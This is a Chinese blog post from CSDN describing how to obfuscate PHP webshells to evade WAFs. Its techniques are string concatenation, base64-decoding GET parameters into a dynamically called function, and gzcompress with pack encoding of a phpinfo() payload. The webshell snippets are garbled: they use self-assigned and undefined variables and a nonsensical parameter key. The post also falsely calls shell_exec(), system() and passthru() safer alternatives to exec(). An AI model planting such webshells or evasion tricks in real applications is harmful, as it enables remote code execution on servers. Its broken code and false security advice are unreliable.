webshell对抗php(一)

本文探讨了webshell对抗中的PHP代码注入问题,重点讲述了字符串的变形方法,包括敏感参数的使用如eval()和exec(),以及如何通过字符串函数和gzcompress+pack来绕过WAF。建议开发者采取适当措施,如输入验证和函数替代,以增强web应用的安全性。
摘要由CSDN通过智能技术生成

字符串的变形

1.1字符串的简单拼接

<?php
$func=$_GET['phpinfo'];
$a=$a;
$b=$b;
$c=$a.$c.$b.$_GET['();phpinfo();'];
$c($func);
?>

如此会构造:http://example.com/code.php?func=phpinfo&func2=();phpinfo();//

为了防止这种类型的攻击,开发者应该对用户输入进行适当的验证、过滤和转义,可以使用PHP内置的函数如htmlspecialchars()来转义用户输入,或使用数据库查询参数绑定等技术来防止代码注入攻击。

注意:

 1.1.1 敏感参数的使用 eval()可以执行任意有效php代码
eval(string $code)
1.1.2敏感参数的使用 exec()  
exec(string $command ,array &$output, int &$return_var)

示例:如何使用exec()函数执行系统命令并获取输出结果:

$output = array();
$return_var = 0;
exec('ls -l',$output,$return_var);

echo "Output: " . implode("\n",$output);
echo "Return_var: " . $return_var;


为了安全起见,可以使用其他更安全的函数来执行特定的操作,如shell_exec()system()passthru()等,具体取决于执行的命令和所需的功能。

小结:简单的混淆绕不过一些WAF可以使用一些函数

1.2利用字符串函数

ucwords()  //把每个单词的首字符转换为大写
ucfirst()  //首字符转换为大写
trim()  //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr()  //函数返回字符串的一部分
strtr()  //函数转换字符串中特定的字符
strtoupper()  //把所有字符转换为大写
strtolower()  //把所有字符转换为小写
strtok()  //函数把字符串分割为更小的字符串
str_rot13()  //函数对字符串执行 ROT13 编码
chr()  //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode()  //字符串压缩
gzuncompress()、gzinflate()、gzdecode()  //字符串解压
base64_encode()  //base64编码
base64_decode()  //nase64解码
pack()  //数据装入一个二进制字符串
unpack()  //从二进制字符串对数据进行解包

我们可以使用base64加参数加密

<?php
$func=base64_decode($_GET['phpinfo']);
$a=$a;
$b=$b;
$c=$a.$c.$b.$_GET['();phpinfo();'];
$c($func);
?>

这种方法可以绕过一些比较常见WAF,一些云waf很难绕过,我们可以使用一些别的不常见函数或者多重嵌套方法;

1.3 gzcompress+pack

<?php
$data = gzcompress("phpinfo();"); // 压缩字符串数据

$binaryData = pack("A*", $data); // 将字符串转换为二进制数据

$file = "123.txt"; // 文件路径

// 将二进制数据写入文件
file_put_contents($file, $binaryData);

echo "生成二进制文件成功!";
?>

本地生成二进制文件,在本地可以用html写一个登陆界面然后用burp进行一个抓包

 

可以看到这里执行了phpinfo,一般的waf是无法解析出来的

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

下山吃土豆

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值